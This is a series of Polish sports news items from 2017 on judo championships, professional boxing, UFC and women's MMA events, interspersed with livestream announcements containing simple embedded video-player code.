Rafał Kozłowski szedł jak burza. 21-letni judoka wygrał trzy walki przed czasem, jednak w półfinale trafił na Petera Zilkę, który pozbawił go marzeń o walce o złoto. Polakowi pozostało starcie o brąz. Akademicki mistrz Europy z Coimbry okazał się lepszy od Basa van Empelena.
Warto również wspomnieć o siódmych miejscach Damiana Stępnia (81kg) i Michała Dudka (+100kg).
Trzy brązowe dziewczyny
Trzy wygrane walki dały brąz Joannie Stankiewicz (48kg). W walce decydującej o podium 24-latka pokonała Katarzynę Wiszniewską.
Karolina Pieńkowska (52kg) nie raz pokazała, że drzemią w niej spore możliwości. Młodzieżowa mistrzyni Europy z 2015 roku jest mocnym punktem naszej kadry. W tym roku nie stała jeszcze na podium. Najbliżej medalu była w Pradze, gdzie zajęła piątą lokatę. W Bratysławie Polka przegrała jedynie z Anją Stangar. Półfinałowa porażka sprawiła, że Pieńkowska rywalizowała o brąz z Tinką Easton z Australii. Po zakończeniu rywalizacji Polka mogła cieszyć się ze zwycięstwa.
Krótką drogę do medalu miała Urszula Hofman (70kg). Trzy walki i trzecie miejsce 22-letniej Polki. W starciu o brąz Hofman pokonała Patrycję Lorenc, która ostatecznie była piąta. Siódme miejsce dla Aleksandry Grygiel.
Angelika Szymańska (63kg) wygrała dwie walki, co dało jej siódmą pozycję.
KM
Pierwsza odsłona rywalizacji w turniej boksu zawodowego World Boxing Super Series odbędzie się w Berlinie, gdzie w sobotni (9 września) wieczór rękawice skrzyżują mistrz WBO wagi junior ciężkiej Oleksandr Usyk i Marco Huck. Polscy fani pięściarstwa będą ściskać kciuki za Krzysztofa Włodarczyka. Popularny „Diablo” zaprezentuje się 21 października w hali Prudential Center w Newark, gdzie zmierzy się z czempionem IBF Muratem Gasijewem.
Dwie kategorie wagowe, junior ciężka i super średnia, – w każdej z nich po ośmiu bokserów. Pula nagród wyniesie 50 milionów dolarów! To propozycja, która ma zadowolić kibiców boksu i zapewnić im ogromne emocje.
Start w Berlinie
8 lipca odbyła się ceremonia losowania par w Monako. Stopniowo ustalono harmonogram, zgodnie z nim na przełomie września i października odbędzie się rywalizacja ćwierćfinałowa. W kategorii super średniej zaprezentują się: Chris Eubank Jr, George Groves, Callum Smith, Juergen Breahmer, Erik Skoglund, Avni Yildrim, Jamie Cox i Rob Brant. Z kolei w wadze junior ciężkiej zobaczymy: Oleksandra Usyka, Mairisa Briedisa, Murata Gassijewa, Yuniera Dorticosa, Krzysztofa Włodarczyka, Marco Hucka, Dmitrija Kudriaszowa i Mike'a Pereza.
Już na sam początek turniejowych zmagań kibiców czeka niezwykle smakowity kąsek. W Berlinie były mistrz WBO Marco Huck, który stracił pas w sierpniu 2015 roku na rzecz Krzysztofa Głowackiego zmierzy się z aktualnym czempionem Oleksandrem Usykien. 30-letni Ukrainiec dwukrotnie bronił tytuł. Na swoim koncie zapisał 12 zwycięstw, w tym 10 przed czasem. Co prawda Usyk ma niewielkie doświadczenie zawodowe, ale jest bokserem najwyższej klasy. W startach amatorskich odnosił wielkie sukcesy m.in. zdobył złoto igrzysk w Londynie w 2012 roku. Z kolei Huck stoczył aż 45 zawodowych walk, z których wygrał 40.
Walka o tytuł, a zarazem o przepustkę do półfinału turnieju w wadze junior ciężkiej. Bokserzy są przygotowani na trudy rywalizacji. – Nie mogę się doczekać walki – mówi Marco Huck. – Usyk stoczy największą bitwę w karierze i powinien przygotować się na wojnę, którą przegra – dodaje 32-latek urodzony w Ugao. – Czuję się bardzo dobrze – podkreślił mistrz WBO Oleksandr Usyk. – Jestem gotowy zaimponować fanom w Berlinie i oglądającym walkę na całym świecie – uzupełnił Ukrainiec.
Czekamy na Włodarczyka
Polski kibiców najbardziej interesuje występ Krzysztofa Włodarczyka w turnieju WBSS. 21 października w Newark były mistrz świata IBF i WBC zmierzy się z aktualnym czempionem IBF Muratem Gasijewem. Dla Włodarczyka będzie to 58 walka w karierze. Blisko 36-letni pięściarz ma serię czterech zwycięstw z rzędu. Gasijew nie przegrał jeszcze nigdy w karierze. Walka z Włodarczykiem będzie jego 25 starciem na zawodowym ringu.
Warto wspomnieć o najnowszym zestawieniu IBF. Włodarczyk zajmuje w nim pozycję nr 1 w kategorii junior ciężkiej, Krzysztof Głowacki jest ósmy, a Mateusz Masternak dziewiąty.
KM
Zapraszamy na transmisję telewizyjną na żywo z XXV Warszawskiej Grandy na Pięści i Giry.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Meczu Polska vs Ukraina w Kickboxingu w formule Kick-Light. Zawody odbędą się w dniu 22 września 2017 r. w Gdańsku.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/KickLightPolskaUkraina.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/KickLightPolskaUkraina.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/KickLightPolskaUkraina.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/KickLightPolskaUkraina.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z gali finałowej Pucharu Polski w Kickboxingu w formule Low-Kick. Zawody odbędą się w dniach 22-24 września 2017 r. w Kobyłce.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LowKick2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LowKick2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LowKick2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LowKick2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na premierowy odcinek nowego projektu telewizyjnego pod nazwą PZKB TV. Programy będą miały swoją premierę i emisję w każdy czwartek o godz. 19.00. Będą kanały tematyczne o roboczych nazwach: PZKB TV, PZKB News, PZKB Historia, PZKB Sport. ZAPRASZAMY!!!
[kod]
W Gdańsku Karolina Kowalkiewicz stoczy swoją szóstą walkę w UFC. Jej rywalką będzie 31-letnia Jodie Esquibel. Wyjaśniła się również kwestia występu Michała Materli na gali w Gdańsku.
Szykuje się wielkie święto MMA w Polsce. Wakacje już za nami, czas leci nieubłagania, a więc ani się obejrzymy, a będziemy się emocjonować galą UFC Fight Night 118 w Gdańsku. Wydarzenie odbędzie się 21 października.
Po czwarte zwycięstwo
W lutym 2015 roku podczas gali KSW 30 Genesis w Poznaniu kibice po raz ostatni mogli podziwiać Karolinę Kowalkiewicz w Polsce. Przed starciem z Kalindrą Farią fighterka z Łodzi nie ukrywała, że może być to najtrudniejsze wyzwanie w jej karierze. Kowalkiewicz zdała ten egzamin i niemal pewny wydawał się jej angaż w UFC. Jeszcze w grudniu 2015 roku zadebiutowała w amerykańskiej organizacji pokonując Randę Markos.
Dwie kolejne wygrane, z Heather Clark i Rose Namajunas, sprawiły, że akcje Polki w wadze słomkowej poszły w górę. Nagrodą za dobrą dyspozycję dla fighterki z Łodzi była walka o pas mistrzowski z Joanną Jędrzejczyk. Po pięciorundowym boju Kowalkiewicz musiała uznać wyższość rywalki. W czerwcu spotkała się z mocną Claudią Gadelhą i już w pierwszej rundzie rywalizacja dobiegła końca. Polka przegrała przez poddanie. Kolejną szansę na zaprezentowanie umiejętności 31-letnia Kowalkiewicz dostanie w Gdańsku. Jej nazwisko długo znajdowało się w karcie walk, ale obok brakowało danych rywalki. Wiadomo, że 21 października w swoim szóstym występie w UFC Polka zmierzy się z Jodie Esquibel.
31-letnia Amerykanka od 2013 roku występowała w organizacji Invicta. W październiku zadebiutuje w UFC, a więc będzie chciała pokazać się z dobrej strony. Esquibel to niezwykle wytrzymała i mocna zawodniczka. Amerykanka wygrała sześć z ośmiu walk, jednak tylko raz przed czasem.
W Gdańsku zaprezentują się również Jan Błachowicz, Marcin Held, Oskar Piechota, Damian Stasiak i Adam Wieczorek.
Bez Materli
W ostatnim czasie spekulowano na temat występu Michała Materli na gdańskiej gali UFC. Polak miał rywalizować z Thiago Santosem. Jednak przedstawiciele zawodnika i amerykańskiej organizacji nie doszli do porozumienia i wszystko wskazuje, że Materla kolejną walkę stoczy dla KSW.
O niepowodzeniu rozmów z UFC miały zadecydować względy finansowe, ale także zakaz opuszczenia kraju przez zawodnika. Warto wspomnieć, że przez blisko osiem miesięcy szczecinianin przebywał w areszcie.
Ostatnią walkę Michał Materla stoczył 1 października 2016 roku na gali KSW 36 w Zielonej Górze. Były czempion wagi średniej pokonał przez nokaut Rousimara Palharesa.
Fot. Facebook Karolina Kowalkiewicz
KM
Dominator, król, ikona. Bez wątpienia Teddy Riner jest najbardziej rozpoznawalnym, a zarazem najbardziej utytułowanym judoką na świecie. 28-latek w Budapeszcie sięgnął po ósmy tytuł mistrza świata w +100kg, a dziewiąty biorąc pod uwagę złoto wywalczone w kategorii open w 2008 roku . Reprezentant Francji tworzy wspaniałą historię.
Michael Phelps, Michael Jordan, Roger Federer to prawdziwi mistrzowie, którzy w swoich dyscyplinach weszli na szczyt i znaleźli się na ustach całego świata. Z pewnością do tego grona może aspirować Teddy Riner.
Nie ma mocnych
Pokonać Rinera – to cel każdego judoki. Ten, który dokona tej sztuki zapisze się złotymi literami w historii dyscypliny. Jednak nie jest będzie łatwe, jeśli w ogóle możliwe. Teddy Riner wygrał 134 pojedynki z rzędu! Rio de Janeiro, Rotterdam, Tokio, Paryż, ponowie Rio, Czelabińsk, Astana – gdzie Francuz się nie zjawił, tam zdobywał złoto. Rywalizacja w kategorii +100kg stała się przewidywalna jak choinka na święta. Pojawiał się Riner, wszyscy opuszczali ręce i wiedzieli, że stoją na przegranej pozycji.
Podobnie było w Budapeszcie. Do stolicy Węgier Riner pojechał jako wicelider światowego rankingu, mistrz olimpijski i świata. Czego można było się spodziewać? Wiadomo. Francuz wygrał sześć walk, w półfinale pokonał mistrza Europy Gruzina Gurama Tushishviliego, a w finale Brazylijczyka Davida Mourę.
Teddy Riner wywalczył łącznie czternaście złotych medali największych imprez – igrzysk olimpijskich, mistrzostw świata i Europy.
Polski akcent
Mistrzostwa świata w Budapeszcie Polacy zakończyli z jednym medalem. Brązowy krążek wywalczyła Agata Ozdoba (63kg), która wygrała pięć walk. W półfinale Polka przegrała z Clarisse Agbegnenou, późniejszą złotą medalistką.
Miłym akcentem dla polskich kibiców była również wygrana Macieja Sarnackiego (+90kg) w rywalizacji zespołów mieszanych z wicemistrzem świata wagi ciężkiej Davidem Mourą. Jednak pozostali Polacy nie sprostali Brazylijczykom i przegrali w 1/8 finału 1:5. Po złoto sięgnęli Japończycy.
Zdecydowany triumf
W klasyfikacji medalowej najlepsi okazali się Japończycy. Judocy z Kraju Kwitnącej Wiśni zdobyli łącznie dwanaście medali, w tym siedem złotych. Po raz kolejny Japończycy udowodnili ogromne umiejętności. Rewelacyjnie zaprezentował się 20-latek Hifumi Abe (66kg), który triumfował w piątym starcie z rzędu i odniósł największy sukces w dotychczasowej karierze.
Za plecami Japończyków Francuzi z trzema medalami, w tym dwoma złotymi. Oprócz Rinera krążek z najcenniejszego kruszcu dla Trójkolorowych wywalczyła wspomniana Clarisse Agbegnenou. Trzecie miejsce dla Mongolczyków, którzy zdobyli sześć medali, ale tylko jeden złoty.
KM
Federacja Ladies Fight Night rośnie w siłę i działa coraz prężniej. Pokazała to ostatnia gala w Rawie Mazowieckiej, gdzie nie zabrakło świetnych walk. LFN nie powiedziała ostatniego słowa. W tym roku federacja zamierza zorganizować kolejną galę.
Ladies Fight Night przełamuje pewien schemat. W ringu nie muszą rywalizować mężczyźni, aby pojawiały się emocje i efektowne walki. Panie też znają się na rzeczy.
Rozkręcają się, a apetyt rośnie
Blisko dwa lata temu na rynku sportów walki pojawiła się federacja Ladies Fight Night. Niejednokrotnie zastanawiano się, czy ten projekt się powiedzie. Mamy rok 2017 i sześć gal LFN za sobą. Pojedynki w formule MMA i K-1 przyciągają kibiców, którzy chcą zobaczyć w akcji ciekawe zawodniczki m.in. Sylwię Juśkiewicz, Katarzynę Posiadałę czy Hannę Gujwan. Co ważne dla fanów sportów walki, wejściówki na wydarzenia LFN są bezpłatne, ale zawsze należy się spieszyć, bo ich ilość jest ograniczona. Walki można śledzić również w internecie.
Ladies Fight Night przygotowuje kolejne gale tak, aby nie zabrakło sportowych emocji, ale i atrakcji. Władze federacji podkreślają, że cały czas chcą się doskonalić. – To co dla naszych kibiców wygląda super i jest dopięte na ostatni guzik, w naszym odczuciu prezentuje się inaczej. My jak zawsze patrzymy na nasze działania bardzo krytycznym okiem. Zależy nam aby nasi kibice czuli się dopieszczeni, dlatego staramy się zaskakiwać i być coraz lepsi. Chcemy, aby nasze eventy były na światowym poziomie – podkreśla Łukasz Chmal, prezes Ladies Fight Night.
Organizacja imprezy to jedno, a istotą sprawy jest poziom sportowy. W dotychczasowych fight cardach pojawiały się znane, a także utalentowane polskie fighterki. Federacja sięga również po zawodniczki z zagranicy. Na gali Ladies Fight Night „Ira” w Rawie Mazowieckiej zaprezentowało się jedenaście zawodniczek spoza Polski. Po raz kolejny zachwyciła Annisa Haddaoui, która w walce wieczoru pokonała Kamilę Bałandę. Oboecność zagranicznych zawodniczek wzbogaca wydarzenia LFN, ale i polskie fighterki ruszają w świat. Przykładem jest Hanna Gujwan, która rywalizowała w Rizin. Niebawem w Japonii zaprezentuje się Sylwia Juśkiewicz. – Dzięki współpracy LFN z największymi zagranicznymi organizacjami mamy większą możliwość kontraktowania i wymiany zawodniczek. My również zapraszamy dużo zawodniczek, poznajemy się i w efekcie to procentuje długofalową współpracą na różnych płaszczyznach – tłumaczy prezes LFN.
Działalność polskiej federacji oparta jest na długofalowej wizji i konsekwencji. Przy zachowaniu poziomu sportowego, LFN dba niemalże o każdy detal.
Będą urodziny
Pierwsza gala Ladies Fight Night odbyła się 18 grudnia 2015 roku w hotelu Double Tree by Hilton w Łodzi. Rok później przyszedł czas na świętowanie. Pierwsze urodziny federacja obchodziła w pięknej scenerii, u podnóża Śnieżki. W hotelu Gołębiewski odbyło się dziewięć walk. Nie zabrakło nieodpłatnych przekąsek dla widowni i atrakcji. Udało nam się dowiedzieć, że LFN zamierza świętować drugie urodziny. Na szczegóły musimy jednak poczekać. – Do końca roku mamy w planach obóz sportowy oraz 7. galę. To będzie nasza urodzinowa gala, dlatego już teraz przygotowania idą pełną parą. Oprócz niezliczonych atrakcji, wysoki poziom sportowy i być może trochę inna formuła organizacyjna. Poza tym mamy w planach jeszcze w tym roku zakontraktować nowe zawodniczki… Niektóre nazwiska zapewne was zaskoczą – przedstawia Łukasz Chmal.
Fot. Ladies Fight Night Facebook
KM
Agata Ozdoba (63kg) wywalczyła brązowy medal mistrzostw świata w judo, które odbywają się w Budapeszcie. To największy sukces w karierze 29-letniej zawodniczki.
Słońce na stolicą Węgier zaświeciło dla Polski. Indywidualnie Agata Ozdoba zapisała na swoim koncie drugi medal mistrzowskiej imprezy. Trzy lata temu sięgnęła po brąz mistrzostw Europy w Montpellier.
Szóstka była blisko
Powszechnie mniemany, że pełnią szczęścia jest trafienie szóstki w pewnej grze liczbowej. Miliony na koncie, komfort i szansa na zrealizowanie wszystkich marzeń. W Budapeszcie Agata Ozdoba była bardzo blisko, aby wejść do raju. Wszystko układało się po myśli Polki, jednak w półfinałowym starciu przegrała po wyrównanej walce z Clarisse Agbegnenou. Przyszła mistrzyni świata wygrała jedną karą shido.
Przed czempionatem judoczka AZS-AWF Wrocław wygrała zawody w Mińsku. Wynik z pewnością dawał powody do optymizmu, ale… W marcu Ozdoba była trzecia w Pradze, a później startowała w mistrzostwach świata w Warszawie. Na początku 29-latce dopisało szczęście, bo miała wolny los, ale poległa już na pierwszej przeszkodzie w postaci Kathrin Unterwurzacher. Ostatecznie wiceliderka światowych list w Warszawie zdobyła brąz.
Wracając do Ozdoby, sytuacja się nie powtórzyła. W Budapeszcie Polka wygrała pięć walk, ale już na początku wysoko poprzeczkę zawiesiła jej Adelina Stefania Dobre. Polka wygrała jedną karą shido. W trzecim pojedynku Ozdoba spotkała się z Edwige Gwend, którą pokonała w 2014 roku w Montpellier. Scenariusz powtórzył się. Kolejną ofiarą Polki była 29-letnia Ketleyn Quadros. Gdyby nie Agbegnenou…
W starciu o brąz Polka trafiła na… Polkę, która walczy w barwach Niemiec. 28-letnia Martyna Trajdos to złota medalistka Igrzysk Europejskich w Baku. W dogrywce Ozdoba zdobyła waza ari i wywalczyła brąz. Łącznie 29-latka wygrała pięć walka (pokonała jeszcze Mię Hermansson) i odniosła największy sukces w swojej karierze.
Nie da się ukryć, że Agata Ozdoba zaprezentowała się świetnie. Pokonała cztery rywalki, które znajdują się wyżej w światowym rankingu. Trajdos (4. miejsce), Gwend (14), Quadros (17), Hermansson (49), zaś brązowa medalistka z Budapesztu zajmują 56. pozycję.
Piękna chwila
Smak medalu mistrzostw świata jest wyjątkowy. Na wywalczenie miejsca na podium w czempionacie globu czekaliśmy trzy lata. W 2014 roku w Czelabińsku brąz zdobyła Katarzyna Kłys (70kg). A wcześniej Polska cieszyła się z trzeciego miejsca Roberta Krawczyka w 2003 roku. Warto wspomnieć o brązie Grzegorza Eitela w 2008 roku, ale był to turniej tylko w kategorii open.
Dwa lata temu w Astanie nasza drużyna kobiet sięgnęła po srebro. W Kazachstanie Polki musiały uznać wyższość Japonek. Na sukces kadry pracowały: Karolina Pieńkowska (52 kg), Arleta Podolak (57 kg), Anna Borowska, Agata Ozdoba, Karolina Tałach (63kg), Katarzyna Kłys (70 kg) oraz Daria Pogorzelec i Katarzyna Furmanek (+70 kg)
Oby budapesztański sukces Agaty Ozdoby był dobrym prognostykiem na przyszłość, aby polscy fani judo regularnie mogli skakać z radości. A nie tylko od święta.
fot. IJF/Facebook
KM
Jeden z najbardziej znanych i lubianych polskich zawodników MMA Łukasz „Juras” Jurkowski będzie trenował w WCA Fight Team.
36-latek to człowiek orkiestra. Ikona sportów walki w Polsce, komentator oraz spiker. W tym roku „Juras” ponownie wrócił do rywalizacji w oktagonie. Wszyscy liczyli na jego kolejny występ, jednak należy uzbroić się w cierpliwość. Tymczasem…
Nowy team
W maju Łukasz Jurkowski wrócił do oktagonu po sześciu latach. 36-latek wystąpił w Warszawie na gali KSW 39 Colosseum i wygrał z Rameau Thierry'm Sokoudjou. Natychmiast rozpoczęły się dyskusje na temat jego kolejnych walk dla organizacji Martina Lewandowskiego i Macieja Kawulskiego. Mówiło się, że „Juras” wystąpi na październikowej gali KSW w Dublinie. Sam zawodnik potwierdził otrzymanie propozycji, jednak musiał odmówić ze względów zdrowotnych. Chodzi o problemy po czerwcowym wypadku na motocyklu. Zapowiedział zarazem, że liczy na szybki powrót. Z KSW podpisał kontrakt na dwie walki, a więc jedną w ramach tej umowy musi jeszcze stoczyć.
Jurkowski otwiera kolejny rozdział w swojej karierze. – No to oficjalnie…od dziś jestem zawodnikiem WCA Fight Team! Trenerem głównym będzie Robert Jocz…z którym wspólnie zaczynaliśmy tworzyć Nastula Team w 2005 ( z Pawłem i Michałem Garnysem). Mam nadzieje, że pierwsza walka pod Jego skrzydłami będzie efektowna i zwycięska (pisownia oryginalna) – poinformował „Juras” na swoim facebooku.
Przygodę ze sportami walki Łukasz Jurkowski zaczął od taekwondo. Zawodnik odnosił sukcesy w wielu turniejach na poziomie krajowym i międzynarodowym. Od początku istnienia KSW był związany z organizacją, dla której walczył do 2011 roku. Potem poświęcił się komentowaniu gal sportów walki. Wrócił na historyczną galę KSW na stadionie PGE Narodowy. Teraz Jurkowski podejmuje kolejne wyzwanie. Dotychczas „Juras” trenował w S4 Fight Club.
Kilka słów o WCA Fight Team
Ekipa powstała w 2015 roku. W klubie trenowali m.in. Bartosz Fabiński, Piotr Strus czy Anzor Azhiev, a także zawodnicy rywalizujących w UFC. Po tym jak na emeryturę odszedł trener S4 Fight Club Piotr Jeleniewski, WCA wzmocniła plejada polskich gwiazd MMA – Daniel Omielańczuk, Jan Błachnowicz i Damian Janikowski. Do warszawskiego klubu dołączył również Marcin Tybura.
Kilka dni temu managerem WCA Fight Team został przedstawiciel organizacji ACB na Europę Baysangur Edelbiev.
Fot. Facebook
KM
Mało kto spodziewał się takiego scenariusza. Mistrzyni olimpijska w judo z Rio de Janeiro Majlinda Kelmendi (52kg) bez medalu mistrzostw świata w Budapeszcie. Na tatami zaprezentowali się również pierwsi Polacy. Agata Perenc (52kg) i Aleksander Beta (66kg) nie podbili stolicy Węgier.
Kelmendi to jedna z najlepszych i najbardziej rozpoznawalnych judoczek. Do Budapesztu jechała jako faworytka, a znalazła się tuż za podium.
Ma już wszystko
26-letnia judoczka jest dumą mieszkańców niewielkiego Kosowa. Kelmendi urasta do miana bohaterki narodowej za sprawą wywalczenia złotego medalu w Igrzyskach Olimpijskich w Rio de Janeiro. Warto zaznaczyć, że w Londynie startowała jeszcze w barwach Albanii. Wracając do tematu, w tym roku 26-latka potwierdziła dominację na Starym Kontynencie i w Warszawie sięgnęła po mistrzostwo Europy. A jeszcze dwa tygodnie przed zawodami Kelmendi zmagała się z kontuzją pleców. W finale reprezentantka Kosowa pokonała Alesję Kuzniecową.
W Budapeszcie Kelmendi miała wzbogacić swoją kolekcję medali o kolejne złoto mistrzostw świata. Uchodziła za faworytkę, gdyż od pięciu lat nie schodziła z podium międzynarodowych zawodów. Kelmendi zaczęła rywalizację w stolicy Węgier zdecydowanie i wygrała dwie walki przed czasem. W kolejnej opór stawiła jej Francuzka Amandinie Buchard, jednak mistrzyni olimpijska zaliczyła dwa waza ari. Szok w półfinale. Kelmendi trafiła na 23-letnią Japonkę Ai Shishime, która jest mistrzynią Azji. Wyrównane i niezwykle ciekawe starcie zakończyło się triumfem zawodniczki z Kraju Kwitnącej Wiśni. Mistrzyni olimpijska walczyła o brąz. Kelmendi rywalizowała z Eriką Mirandą, która również mogła być zawiedziona. Brazylijka miała na koncie już trzy medale mistrzostw świata, jednak w dorobku brakowało jej złota. W Budapeszcie sięgnęła po trzeci brąz z rzędu. Kelmendi została z niczym. Takiego rozstrzygnięcia nikt się nie spodziewał.
Trzy lata temu Hifumi Abe (66kg) wywalczył srebro mistrzostw świata juniorów. Od 2015 roku Japończyk nie schodzi z podium międzynarodowych zawodów. Co warto dodać, wygrał cztery kolejne starty i najlepszym dowodem jego talentu i fantastycznej formy jest zwycięstwo w Budapeszcie. Abe odniósł największy sukces w karierze. W finale pokonał 30-letniego Mikhaila Puliaeva, dla którego było to trzecie srebro mistrzostw świata.
Pierwsze koty itd.
W drugim dniu czempionatu na tatami zobaczyliśmy naszych zawodników. Agata Perenc (52kg) z dobrej strony pokazała się w Bukareszcie i Mińsku, gdzie stawała na podium. Po cichu można było liczyć na niespodziankę w Budapeszcie. Perenc zaczęła od zwycięstwa z mistrzynią Afryki Meriem Moussą. W kolejnym starciu Polka trafiła na utytułowaną Erikę Mirandę i wygrała przed czasem.
Szybko start w mistrzostwach świata zakończył Aleksander Beta (66kg). 21-letni reprezentant Kirgistanu Almaz Altynbek Uulu pokonał Polaka przed czasem, jednak w kolejnym starciu musiał uznać wyższość Wandera Mateo.
Fot. Facebook
KM
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
28 października w Cardiff mistrz świata IBF, WBA i WBO wagi ciężkiej Anthony Joshua zmierzy się z Kubratem Pulewem. W kategorii królewskiej szykuje się również inna wielka walka. Najbliższe miesiące mogą być również emocjonujące w związku z pożegnalnym starciem Miguela Cotto.
Chyba żaden pojedynek nie przyciągnie tak wielkiej uwagi jak starcie Floyda Mayweathera Jr. z Conorem McGregorem. Jednak trzeba zaznaczyć, że było to nietypowe wydarzenie. Jeśli chodzi o wrażenia czysto bokserskie, w tym roku ogromnych wrażeń dostarczyło mistrzowskie starcie w wadze ciężkiej pomiędzy Anthony'm Joshuą, a Władimirem Kliczko. Czy ktoś zaprezentuje wyższy poziom?
Pulew się doczekał
Miłośnicy boksu wierzyli, że jesienią będą mieli okazję emocjonować się drugą odsłoną rywalizacji pomiędzy Joshuą a Kliczko. Tak się jednak nie stanie. Marzenia prysły niczym bańka mydlana za sprawą decyzji Ukraińca. Wielki czempion wagi ciężkiej zakończył bogatą karierę. Taki krok ucieszył Kubrata Pulewa, który jest obowiązkowym pretendentem do pasa IBF. Bułgar w końcu doczeka się kolejnej mistrzowskiej walki. Pulew rywalizował o pas IBF w listopadzie 2014 roku, jednak przegrał przez nokaut z Władimirem Kliczko. Od tamtego czasu 36-letni bokser wygrał pięć kolejnych walk.
W Cardiff Joshua stoczy dwudziesty pojedynek i nadal będzie chciał podtrzymać skuteczność. Dotychczas wszystkie starcia Brytyjczyk wygrał przed czasem. Triumf Joshuy zapewne rozgrzałby dyskusję o jego ewentualnym spotkaniu z Deontayem Wilderem.
Teraz poświęćmy chwilę uwagi czempionowi WBC. Coraz bardziej realne staje się starcie Wildera z Luisem Ortizem. Ponoć strony doszły do porozumienia w sprawie walki, ale na oficjalne potwierdzenie trzeba jeszcze poczekać. Ortiz wygrał wszystkie 27 walk, z czego 23 przed czasem. Wilder triumfował 38 razy, w tym tylko raz na punkty. Amerykanin bronił tytułu WBC już pięć razy. Po raz ostatni w lutym br., kiedy rozprawił się z Geraldem Washingtonem. Zapowiadano, że Wildera czeka łatwa przeprawa, ale pretendent sprawił mu sporo kłopotów. Lewy prosty sprawiał mistrzowi problemy na początku starcia. W końcu role się odwróciły i w piątej rundzie Wilder zakończył starcie. Walka z Ortizem byłby jednym z najtrudniejszych wyzwań w karierze 31-letniego czempiona.
Czas odejść
36-letni Miguel Cotto zbliża się do końca kariery. Na ostatniej prostej wrócił na tron w wadze junior średniej pokonując na punkty Japończyka Yoshihiro Kamegai. 41. wygrana dała Portorykańczykowi tytuł mistrzowski WBO.
Cotto zapowiadał, że zamierza zakończyć karierę w 2017 roku. Prawdopodobnie ostatnią walkę stoczy w grudniu w Nowym Jorku. Wśród potencjalnych rywali Cotto wymienia się Gennadija Gołowkina i Saula Alvareza, którzy spotkają się 16 września w Las Vegas oraz Davida Lemieux.
KM
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Suzuki World Judo Championships 2017.
[kod]
Chyba nikt nie może być zawiedziony hitowym starciem Floyda Mayweathera Jr. z Conorem McGregorem. Choć dla Irlandczyka była to pierwsza walka bokserska, zaprezentował w niej solidny poziom. Doświadczenie Mayweathera Jr. wzięło górę i Amerykanin mógł świętować zwycięstwo przed czasem.
Ogromne pieniądze, wielcy zawodnicy i oczy całego świata zwrócone na ring w Las Vegas. Wszyscy zastanawiali się, czy McGregor udźwignie ciężar rywalizacji na zasadach bokserskich. Krótko można powiedzieć, że dał radę, choć z ringu schodził jako przegrany. Pod względem finansowym Irlandczyk zrobił świetny interes.
Ostry początek gwiazdy MMA
Stało się to, co jeszcze na początku roku wydawało się nierealne. Zawodnik MMA wszedł do ringu i rywalizował z wielkim mistrzem Floydem Mayweatherem Jr. na zasadach bokserskich. Przed starciem bukmacherzy nie mieli złudzeń i jednoznacznie wskazywali na zwycięstwo Amerykanina. Dla „Moneya” był to powrót z emerytury i szansa na 50. triumf w karierze, co dawało mu szansę na zapisanie się w annałach historii.
McGregor rozpoczął odważnie i ruszył do przodu, jednak jego ciosy lądowały na gardzie rywala. Mayweather był niczym przyczajony tygrys i czekał na swój czas. Jednak McGregor do perfekcji opanował sztukę prowokacji i starał się „zachęcić” 40-latka do ataku. McGregor chował ręce za pasem. W drugiej rundzie Irlandczyk przyparł rywala do lin i serię ciosów zakończył uderzeniem młotkowym, za co dostał ostrzeżenie od sędziego. Ale to nie był jedyny raz…
Czwarta runda – to miał być ten czas. McGregor chciał zakończyć rywalizację z Mayweatherem, jednak przeciwnik świetnie śpisywał się w defensywie. W końcu Amerykanin przejął inicjatywę i punktował McGregora, choć ten starał się odpowiadać. W dziewiątej odsłonie „Money” miał Irlandczyka praktycznie na widelcu. Gwiazdor MMA był trzykrotnie bliski liczenia, ale klinczował. Dziesiąta, jak się okazało ostatnia odsłona, to teatr jednego aktora. Mayweather nie miał litości dla McGregora, słał w jego stronę kolejne ciosy i sędzia przerwał pojedynek.
Czas działał na korzyść Mayweathera
Conor McGregor zaskoczył w swoim debiucie w ringu bokserskim. Jednak Irlandczyk nigdy nie walczył tak długo. Wyraźnie widać było, że do czwartej rundy to on był stroną przeważającą, jednak później ta różnica rozmywała się. Z kolei Mayweather perfekcyjnie rozegrał pojedynek. Zaczął ostrożnie, gdyż w końcu jest starszy od McGregora o 11 lat i widząc, że rywal opada z sił skorzystał z okazji.
